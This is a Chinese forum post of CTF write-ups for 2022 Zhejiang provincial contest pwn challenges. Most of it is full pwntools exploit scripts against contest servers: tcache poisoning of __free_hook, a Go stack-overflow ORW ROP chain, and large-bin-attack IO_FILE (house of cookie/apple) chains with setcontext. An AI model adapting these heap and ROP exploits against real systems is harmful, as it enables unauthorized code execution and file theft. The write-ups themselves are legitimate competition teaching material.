安全矩阵

 找回密码
 立即注册
搜索
查看: 962|回复: 0

2022浙江省赛 PWN题解析

[复制链接]

252

主题

252

帖子

1309

积分

金牌会员

Rank: 6Rank: 6

积分
1309
发表于 2022-10-12 00:33:37 | 显示全部楼层 |阅读模式
原文链接:2022浙江省赛 PWN题解析


初赛
babyheap

2.27的正常堆题
题目分析

题目限制了add次数,只能add 7次,而且delet存在UAF占位 考虑UAF修改tcache chunk的key,使得无限free同一堆块填满tcache 溢出到UB,然后UAF leak libc 最后 UAF tcache poison 改free_hook 为one_gadget getshell。
成功截图
编辑
exp

  1. def exp():
  2.     global r
  3.     global libc
  4.     ##r=process('./babyheap')
  5.     r=remote("1.14.97.218",24360)
  6.     libc=ELF("./libc-2.27.so")

  7.     ## leak_heap
  8.     add(0x7f)
  9.     add(0x7f)
  10.     ##add(0x7f)
  11.     ##add(0x7f)
  12.     delet(0)
  13.     edit(0,"nameless")
  14.     ##z()
  15.     show(0)
  16.     r.recvuntil("nameless")
  17.     heapbase=u64(r.recv(6).ljust(8,"\x00"))-0x10
  18.     log.success("heapbase:"+hex(heapbase))

  19.     ##leak libc
  20.     for i in range(0,7):
  21.         edit(0,p64(0)*2)
  22.         delet(0)

  23.     ##z()
  24.     show(0)
  25.     r.recvuntil("\n")
  26.     libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x3ebca0
  27.     log.success("libcbase:"+hex(libcbase))

  28.     ## set_libc func
  29.     free_hook=libcbase+libc.sym["__free_hook"]
  30.     system=libcbase+libc.sym["system"]   

  31.     edit(0,p64(free_hook))
  32.     add(0x7f) ##,"/bin/sh\x00")
  33.     add(0x7f) ##,p64(system))
  34.     edit(3,p64(system))
  35.     edit(0,"/bin/sh\x00")
  36.     ##z()
  37.     delet(0)
  38.     r.interactive()
复制代码


决赛

远程ld治好了的精神内耗
GO-MAZE-v4

一道go语言栈溢出
沙箱
编辑
保护
​编辑



调试
发现连main函数入口都没有,简直逆不动(go语言的静态编译导致的elf本身就相当于c的libc,elf,ld等等的合集)。

先简单测试一下,发现wsad分别对应了上下左右,输的话就可以直接走通迷宫:


​编辑


然后紧接着应该是一个输入,测试测试有没有栈溢出,发现输入0x180个字节就报错了,并且rbp和rip是能被我们控制的。
编辑
(ps:gdb调试设置好set follow-fork-mode parent和set detach-on-fork on才能不会因为system或exec这类函数卡死)
而且这个二进制文件里面的gadget非常的齐活,直接打ORW就好。
exp

  1. def up():
  2.     r.sendline("w")

  3. def down():
  4.     r.sendline("s")

  5. def right():
  6.     r.sendline("d")

  7. def exp():
  8.     global r
  9.     global libc
  10.     ##global elf
  11.     r=process('./pwn')
  12.     for i in range(5):
  13.         down()
  14.     for i in range(3):
  15.         right()
  16.     for i in range(3):
  17.         up()
  18.     for i in range(3):
  19.         right()
  20.     up()
  21.     right()
  22.     up()
  23.     up()
  24.     ##z()

  25.     ## gadgets
  26.     pop_rdi_ret = 0x4008f6
  27.     pop_rsi_ret = 0x40416f
  28.     pop_rdx_ret = 0x51d4b6
  29.     pop_rax_ret = 0x400a4f
  30.     syscall = 0x4025ab
  31.     leave_ret = 0x4015cb

  32.     bss = 0xAD1600+0x500

  33.     pd1 = flat(
  34.     pop_rax_ret , 0 , pop_rdi_ret , 0 , pop_rsi_ret , bss , pop_rdx_ret , 0x210 ,
  35.     syscall , leave_ret
  36.     )

  37.     ##z()
  38.     r.sendlineafter("flag\x00",0x178*"a" + p64(bss) +  pd1)
  39.     flag_addr = bss + 0x200
  40.     pd=flat( 0 , pop_rax_ret , 2 , pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , pop_rdx_ret , 0 ,
  41.     syscall , pop_rax_ret , 0 , pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 ,
  42.     syscall ,pop_rax_ret , 1 , pop_rdi_ret , 1 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 ,
  43.     syscall , 0xdeadbeef
  44.     ).ljust(0x200,"a")+"./flag\x00"
  45.     r.sendline(pd)
  46.     r.interactive()
复制代码


HodgePodge

省赛300分最难pwn题的含金量
版本

2.34魔改(不知道魔改了啥,本地调试的话直接用2204的2.35即可)
沙箱保护
编辑
保护
编辑
ida逆向

看看main:

很直接的菜单,_exit一眼house,但是不知道啥house,看看delet发现有UAF,show和edit都很常规。

而add用的是calloc:
编辑
想到了pig,但是pig打ORW有点不太好打,但是基本能确定large bin attack了。

attack啥呢?我一开始先试试打top_chunk,但是不行,原因是attack最后有一个add大堆块的操作,这个操作会使得top_chunk的地址抬高,覆盖,没办法触发kiwi的链子。于是我现找了一个链子——puts的stdout(真是比赛现找的):
​编辑​



如果largebin attack劫持stdout为chunk P,并且满足P的pre_size为0x8000(这个可以用空间复用实现),最后rdi就会赋值为P的堆地址。再看看接下来的流程:
​编辑​

发现这个流程和flash_all_lock_up长得只有那么像了,当rdi+0x30,也就是堆地址+0xc0的位置为0并且堆地址+0xd8(vtable)的位置符合IO的虚表的地址范围,就会跳vtable+0x38的函数。

常用的跳表有三种,pig的IO_str_jumps、emma的IO_cookie_jumps以及apple的IO_wfile_jumps。但是apple当时不会,pig被排除,所以只能试试cookie_jumps,还真成了,在结束前30分钟本地通了。但是。。。这个B玩意要扬fs:0x30,fs就牵扯到ld表,这个玩意本地和远程偏移太不一样了,导致痛失300分。
非预期exp
  1. # -*- coding: utf-8 -*-
  2. from platform import libc_ver
  3. from pwn import *
  4. from hashlib import sha256
  5. import base64
  6. context.log_level='debug'
  7. #context.arch = 'amd64'
  8. context.arch = 'amd64'
  9. context.os = 'linux'

  10. rol = lambda val, r_bits, max_bits: \
  11. (val << r_bits%max_bits) & (2**max_bits-1) | \
  12. ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

  13. ror = lambda val, r_bits, max_bits: \
  14. ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
  15. (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

  16. def proof_of_work(sh):
  17.     sh.recvuntil(" == ")
  18.     cipher = sh.recvline().strip().decode("utf8")
  19.     proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
  20.     sh.sendlineafter("input your ????>", proof)
  21. ##r=remote("123.57.69.203",7010)0xafa849b09b753ccd
  22. ##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})

  23. ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

  24. def z():
  25.     gdb.attach(r)

  26. def cho(num):
  27.     r.sendlineafter(">>",str(num))

  28. def add(sz,con):
  29.     cho(1)
  30.     r.sendlineafter("Size:",str(sz))
  31.     r.sendafter("content",con)
  32.     ##r.sendlineafter("idx:",str(idx))

  33. def delet(idx):
  34.     cho(2)
  35.     r.sendlineafter("idx:",str(idx))

  36. def edit(idx,con):
  37.     cho(3)
  38.     r.sendlineafter("idx",str(idx))
  39.     r.sendafter("Content",con)

  40. def show(idx):
  41.     cho(4)
  42.     r.sendlineafter("idx",str(idx))


  43. def exp(x):
  44.     global r
  45.     global libc
  46.     ##global elf
  47.     r=remote("1.14.97.218",23023)
  48.     ##r=process('./pwn')
  49.     libc=ELF("./libc.so.6")

  50.     ## fengshui
  51.     add(0x418,"nameless")
  52.     add(0x410,"nameless")
  53.     add(0x410,"ymnhymnh")
  54.     add(0x420,"x1ngx1ng")
  55.     add(0x420,"nameless")
  56.     delet(3)
  57.     ##delet(2)

  58.     ## leak_libcbase
  59.     ##z()
  60.     show(3)
  61.     r.recvuntil("\n")
  62.     libcbase=u64(r.recv(6).ljust(8,"\x00"))-0x1f2cc0
  63.     log.success("libcbase:"+hex(libcbase))
  64.     add(0x430,"nameless")

  65.     ## set_libc_func
  66.     l_main=0x1f30b0+libcbase
  67.     free_hook=libcbase+libc.sym["__free_hook"]
  68.     stdout=libcbase+libc.sym["stdout"]
  69.     IO_str_jumps=libcbase+0x1f3b58-0x38
  70.     fsbase=libcbase-0x28c0+x
  71.     godget=libcbase+0x146020##libcbase+0x1482ba
  72.     setcontext=libcbase+0x50bc0

  73.     ## leak_heapbase
  74.     ##z()
  75.     edit(3,"x1ngx1ng"+"nameless")
  76.     ##z()
  77.     show(3)
  78.     r.recvuntil("nameless")
  79.     heapbase=u64(r.recv(6).ljust(8,"\x00"))-0xef0
  80.     log.success("heapbase:"+hex(heapbase))
  81.     key=heapbase+0x6b0
  82.     chunk1=heapbase+0x6b0
  83.     chunk2=heapbase+0xef0
  84.     ##z()

  85.     ## set_orw
  86.     open_addr=libcbase+libc.sym['open']
  87.     read_addr=libcbase+libc.sym['read']
  88.     write_addr=libcbase+libc.sym['write']
  89.     pop_rdi_ret=libcbase+0x2daa2
  90.     pop_rsi_ret=libcbase+0x37c0a
  91.     pop_rdx_pop_rbx_ret=libcbase+0x87729
  92.     ret=libcbase+0xecd6c
  93.     flag_addr = key + 0x310
  94.     chain = flat(
  95.     pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
  96.     pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
  97.     pop_rdi_ret , 1 , pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret, 0x100 , 0 ,write_addr
  98.     ).ljust(0x100,'\x00') + './flag\x00'


  99.     ##large bin attack 2 yang point gurad
  100.     edit(3,p64(l_main)*2+p64(heapbase+0xef0)+p64(fsbase+0x30-0x20))
  101.     delet(1)
  102.     ##z()
  103.     add(0x430,"nameless")
  104.     ##z()
  105.     edit(3,p64(chunk1)+p64(l_main)+p64(chunk1)*2)
  106.     edit(1,p64(l_main)+p64(chunk2)*3)

  107.     ##z()
  108.     add(0x410,"nameless")

  109.     ##large in attack 2 ORW
  110.     edit(3,p64(l_main)*2+p64(heapbase+0xef0)+p64(stdout-0x20))
  111.     pd=0xb0*'a'+p64(0)
  112.     pd=pd.ljust(0xc8,'a')+p64(IO_str_jumps)
  113.     pd=pd.ljust(0xd0,"a")+p64(key+0x100)
  114.     pd=pd.ljust(0xe0,"a")+p64(rol(key ^ godget,0x11,64))
  115.     pd=pd.ljust(0xf8,"a")+p64(key+0x130)
  116.     pd=pd.ljust(0x140,"a")+p64(setcontext+61)
  117.     pd=pd.ljust(0x1c0,"a")+p64(key+0x210)+p64(ret)
  118.     pd=pd.ljust(0x200,"a")+chain
  119.     edit(7,pd)
  120.     delet(7)
  121.     edit(0,0x410*"a"+p64(0x8000))
  122.     ##z()
  123.     cho(1)
  124.     r.sendlineafter("Size:",str(0x430))
  125.     ##r.recvuntil("flag")
  126.     flag="flag{"+r.recvuntil("\x00",drop=True)
  127.     print(flag)
  128.     r.interactive()

  129. if __name__ == '__main__':
  130.     while(1):
  131.         i = -0x1000
  132.         if i == 0x1000 :
  133.            break
  134.         else :
  135.            try :
  136.                exp(i)
  137.            except:
  138.                continue

  139.     ##setcontext and orw
  140.     ''''
  141.     orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
  142.     orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
  143.     orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
  144.     orw+=p64(0xdeadbeef)
  145.     pd=p64(gold_key)+p64(free_hook)
  146.     pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
  147.     pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw0xafa849b09b753ccd
  148.     r.sendafter(">>",pd)
  149.     flag=r.recvline()
  150.     '''

  151.     ##orw
  152.     '''
  153.     ##[+]: set libc func
  154.     IO_file_jumps=0x1e54c0+libcbase
  155.     IO_helper_jumps=0x1e4980+libcbase
  156.     setcontext=libcbase+libc.sym['setcontext']
  157.     open_addr=libcbase+libc.sym['open']
  158.     read_addr=libcbase+libc.sym['read']
  159.     puts_addr=libcbase+libc.sym['puts']
  160.     pop_rdi_ret=libcbase+0x2858f
  161.     pop_rsi_ret=libcbase+0x2ac3f
  162.     pop_rdx_pop_rbx_ret=libcbase+0x1597d6
  163.     ret=libcbase+0x26699
  164.     ##[+]: large bin attack to reset TLS
  165.     ##z()
  166.     ##edit(4,p64(libcbase+0x1e4230)+)

  167.     ##[+]: orw
  168.     flag_addr = heap_base + 0x4770 + 0x100
  169.     chain = flat(
  170.     pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
  171.     pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
  172.     pop_rdi_ret , flag_addr , puts_addr
  173.     ).ljust(0x100,'\x00') + 'flag\x00'
  174.     '''

  175.     ##banana
  176.        ## b _dl_fini
  177.        ## pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
  178.     '''''
  179.     rop_chain = flat(pop_rdi_ret,bin_sh,ret,system_addr)
  180.     link_4_addr = heap_base + 0xcd0
  181.     fake_link_map = p64(0) + p64(0) + p64(0) + p64(link_4_addr)
  182.     fake_link_map += p64(magic) + p64(ret)
  183.     fake_link_map += p64(0)
  184.     fake_link_map += rop_chain
  185.     fake_link_map = fake_link_map.ljust(0xc8,'\0')
  186.     fake_link_map += p64(link_4_addr + 0x28 + 0x18) # RSP
  187.     fake_link_map += p64(pop_rdi_ret)   # RCX RIP
  188.     fake_link_map = fake_link_map.ljust(0x100,'\x00')
  189.     fake_link_map += p64(link_4_addr + 0x10 + 0x110)*0x3
  190.     fake_link_map += p64(0x10)
  191.     fake_link_map = fake_link_map.ljust(0x31C - 0x10,'\x00')
  192.     fake_link_map += p8(0x8)
  193.     edit(1,'\0'*0x520+p64(link_4_addr + 0x20)) ##控prev_data
  194.     edit(2,fake_link_map)
  195.     '''

  196.     ##pig
  197.       ## p _IO_flush_all_lockp
  198.     ''''
  199.     heap=heap+0x3b70
  200.     pd=p64(0)*3+p64(0x1c)+p64(0)+p64(heap)+p64(heap+26)
  201.     pd=pd.ljust(0xc8,b'\x00')
  202.     pd+=p64(_IO_str_jumps)
  203.     edit(3,pd)
  204.     '''
复制代码


关于如何获取远程的ld偏移

第一种办法是爆破,参考wjh大佬的博客:https://blog.wjhwjhn.com/archives/593/

第二种是起一个有pwndbg的docker,把题目环境加载进去然后gdb fsbase获取偏移。这个起环境在github上有一个叫PWNdockerAll的项目,是pig007大佬写的,笔者在使用2204的过程中遇到了一点问题,自己鼓捣将install.sh稍作修改,使得它能够支持目前最新的2204版本(pig007大佬写的时候是2.34的2204,不兼容主要是因为python3.10的模块引用问题,那个时候python3.10好像还没出),现也在github上开源:

NSnidie/pwnDockerAll: 通过curl下载python3.10的pip3修复了2.34pip3的高版本module name冲突的bug,并且在容器中添加了ropper、patchelf、glibc-all-in-one等常用pwn题工具 (github.com)
https://github.com/NSnidie/pwnDockerAll
预期解——house of apple

apple 常用的是IO_wfile_overflow,期望的是前面执行je。

然后跳转到:
编辑
这里有啥好东西呢?发现有个和io_cookie_jumps一样的东西:
编辑
好家伙,就是只少一个point gurad,直接卡死我300分。
编辑
夜深了,不想再调了,卷Glibc都是精神内耗。
流程1

kiwi触发->malloc_assert->fxprintf->vfxprintf->locked_vfxprintf->vfprintf_internal->apple

这个做法需要一个堆溢出:

UAF+size存数组可实现堆溢出:

假定相邻堆块chunk1和chunk2,chunk2和top_chunk相邻。设定chunk1为0x430大小(题目大小),然后free进UB。add0x410,切割chunk1然后free chunk2,这时候,chunk1就和top_chunk相邻了,而且是0x420大小。由于我们数组存的是0x430大小,所以在edit的时候成功溢出0x10字节。可以改top_chunk的size打kiwi。
流程2

puts触发->apple
exp(针对流程2)

(ps此exp非题目所给libc,题目给的是魔改的2.34版本的libc,我用的2204的libc在本地打的)


  1. # -*- coding: utf-8 -*-
  2. from platform import libc_ver
  3. from pwn import *
  4. from hashlib import sha256
  5. import base64
  6. context.log_level='debug'
  7. #context.arch = 'amd64'
  8. context.arch = 'amd64'
  9. context.os = 'linux'

  10. rol = lambda val, r_bits, max_bits: \
  11. (val << r_bits%max_bits) & (2**max_bits-1) | \
  12. ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

  13. ror = lambda val, r_bits, max_bits: \
  14. ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
  15. (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

  16. def proof_of_work(sh):
  17.     sh.recvuntil(" == ")
  18.     cipher = sh.recvline().strip().decode("utf8")
  19.     proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
  20.     sh.sendlineafter("input your ????>", proof)
  21. ##r=remote("123.57.69.203",7010)0xafa849b09b753ccd
  22. ##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})

  23. ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

  24. def z():
  25.     gdb.attach(r)

  26. def cho(num):
  27.     r.sendlineafter(">>",str(num))

  28. def add(sz,con):
  29.     cho(1)
  30.     r.sendlineafter("Size:",str(sz))
  31.     r.sendafter("content",con)
  32.     ##r.sendlineafter("idx:",str(idx))

  33. def delet(idx):
  34.     cho(2)
  35.     r.sendlineafter("idx:",str(idx))

  36. def edit(idx,con):
  37.     cho(3)
  38.     r.sendlineafter("idx",str(idx))
  39.     r.sendafter("Content",con)

  40. def show(idx):
  41.     cho(4)
  42.     r.sendlineafter("idx",str(idx))


  43. def exp():
  44.     global r
  45.     global libc
  46.     ##global elf
  47.     r=remote("124.222.96.143",10050)
  48.     ##r=process('./pwn')
  49.     libc=ELF("./libc.so.6")

  50.     ## fengshui
  51.     add(0x418,"nameless")
  52.     add(0x410,"nameless")
  53.     add(0x410,"ymnhymnh")
  54.     add(0x420,"x1ngx1ng")
  55.     add(0x420,"nameless")
  56.     delet(3)
  57.     ##delet(2)

  58.     ## leak_libcbase
  59.     ##z()
  60.     show(3)
  61.     r.recvuntil("\n")
  62.     libcbase=u64(r.recv(6).ljust(8,"\x00"))-0x219ce0
  63.     log.success("libcbase:"+hex(libcbase))
  64.     add(0x430,"nameless")

  65.     ## set_libc_func
  66.     l_main=0x219ce0+libcbase
  67.     free_hook=libcbase+libc.sym["__free_hook"]
  68.     stdout=libcbase+libc.sym["stdout"]
  69.     IO_wfile_jumps=libcbase+0x2160c0-0x20
  70.     fsbase=libcbase-0x28c0
  71.     godget=libcbase+0x1675b0 ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
  72.     setcontext=libcbase+0x53a30

  73.     ## leak_heapbase
  74.     ##z()
  75.     edit(3,"x1ngx1ng"+"nameless")
  76.     ##z()
  77.     show(3)
  78.     r.recvuntil("nameless")
  79.     heapbase=u64(r.recv(6).ljust(8,"\x00"))-0xef0
  80.     log.success("heapbase:"+hex(heapbase))
  81.     key=heapbase+0x6b0
  82.     chunk1=heapbase+0x6b0
  83.     chunk2=heapbase+0xef0
  84.     ##z()

  85.     ## set_orw
  86.     open_addr=libcbase+libc.sym['open']
  87.     read_addr=libcbase+libc.sym['read']
  88.     write_addr=libcbase+libc.sym['write']
  89.     pop_rdi_ret=libcbase+0x2a3e5
  90.     pop_rsi_ret=libcbase+0x2be51
  91.     pop_rdx_pop_rbx_ret=libcbase+0x90529
  92.     ret=libcbase+0xf90e1
  93.     flag_addr = key + 0x300
  94.     chain = flat(
  95.     pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
  96.     pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
  97.     pop_rdi_ret , 1 , pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret, 0x100 , 0 ,write_addr
  98.     ).ljust(0x100,'\x00') + './flag\x00'

  99.     ##large bin attack 2 apple
  100.     edit(3,p64(l_main)*2+p64(heapbase+0xef0)+p64(stdout-0x20))
  101.     pd=''
  102.     pd=pd.ljust(0x90,"\x00")+p64(key+0xa0)
  103.     pd=pd.ljust(0xb0,'\x00')+p64(0)
  104.     pd=pd.ljust(0xc8,'\x00')+p64(IO_wfile_jumps)
  105.     pd=pd.ljust(0x130,'\x00')+p64(key+0x200)+p64(ret)
  106.     pd=pd.ljust(0x170,'\x00')+p64(key+0x180)
  107.     pd=pd.ljust(0x1d8,'\x00')+p64(setcontext+61)
  108.     pd=pd.ljust(0x1f0,'\x00')+chain
  109.     edit(1,pd)
  110.     delet(1)
  111.     edit(0,0x410*"a"+p64(0x8000))
  112.     ##z()
  113.     cho(1)
  114.     r.sendlineafter("Size:",str(0x430))
  115.     ##r.recvuntil("flag")
  116.     ##flag="flag{"+r.recvuntil("\x00",drop=True)
  117.     ##print(flag)
  118.     r.interactive()

  119. if __name__ == '__main__':
  120.     exp()

  121.     ##setcontext and orw
  122.     ''''
  123.     orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
  124.     orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
  125.     orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
  126.     orw+=p64(0xdeadbeef)
  127.     pd=p64(gold_key)+p64(free_hook)
  128.     pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
  129.     pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw0xafa849b09b753ccd
  130.     r.sendafter(">>",pd)
  131.     flag=r.recvline()
  132.     '''

  133.     ##orw
  134.     '''
  135.     ##[+]: set libc func
  136.     IO_file_jumps=0x1e54c0+libcbase
  137.     IO_helper_jumps=0x1e4980+libcbase
  138.     setcontext=libcbase+libc.sym['setcontext']
  139.     open_addr=libcbase+libc.sym['open']
  140.     read_addr=libcbase+libc.sym['read']
  141.     puts_addr=libcbase+libc.sym['puts']
  142.     pop_rdi_ret=libcbase+0x2858f
  143.     pop_rsi_ret=libcbase+0x2ac3f
  144.     pop_rdx_pop_rbx_ret=libcbase+0x1597d6
  145.     ret=libcbase+0x26699
  146.     ##[+]: large bin attack to reset TLS
  147.     ##z()
  148.     ##edit(4,p64(libcbase+0x1e4230)+)

  149.     ##[+]: orw
  150.     flag_addr = heap_base + 0x4770 + 0x100
  151.     chain = flat(
  152.     pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
  153.     pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
  154.     pop_rdi_ret , flag_addr , puts_addr
  155.     ).ljust(0x100,'\x00') + 'flag\x00'
  156.     '''

  157.     ##banana
  158.        ## b _dl_fini
  159.        ## pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
  160.     '''''
  161.     rop_chain = flat(pop_rdi_ret,bin_sh,ret,system_addr)
  162.     link_4_addr = heap_base + 0xcd0
  163.     fake_link_map = p64(0) + p64(0) + p64(0) + p64(link_4_addr)
  164.     fake_link_map += p64(magic) + p64(ret)
  165.     fake_link_map += p64(0)
  166.     fake_link_map += rop_chain
  167.     fake_link_map = fake_link_map.ljust(0xc8,'\0')
  168.     fake_link_map += p64(link_4_addr + 0x28 + 0x18) # RSP
  169.     fake_link_map += p64(pop_rdi_ret)   # RCX RIP
  170.     fake_link_map = fake_link_map.ljust(0x100,'\x00')
  171.     fake_link_map += p64(link_4_addr + 0x10 + 0x110)*0x3
  172.     fake_link_map += p64(0x10)
  173.     fake_link_map = fake_link_map.ljust(0x31C - 0x10,'\x00')
  174.     fake_link_map += p8(0x8)
  175.     edit(1,'\0'*0x520+p64(link_4_addr + 0x20)) ##控prev_data
  176.     edit(2,fake_link_map)
  177.     '''

  178.     ##pig
  179.       ## p _IO_flush_all_lockp
  180.     ''''
  181.     heap=heap+0x3b70
  182.     pd=p64(0)*3+p64(0x1c)+p64(0)+p64(heap)+p64(heap+26)
  183.     pd=pd.ljust(0xc8,b'\x00')
  184.     pd+=p64(_IO_str_jumps)
  185.     edit(3,pd)
  186.     '''
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:55 , Processed in 0.016754 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表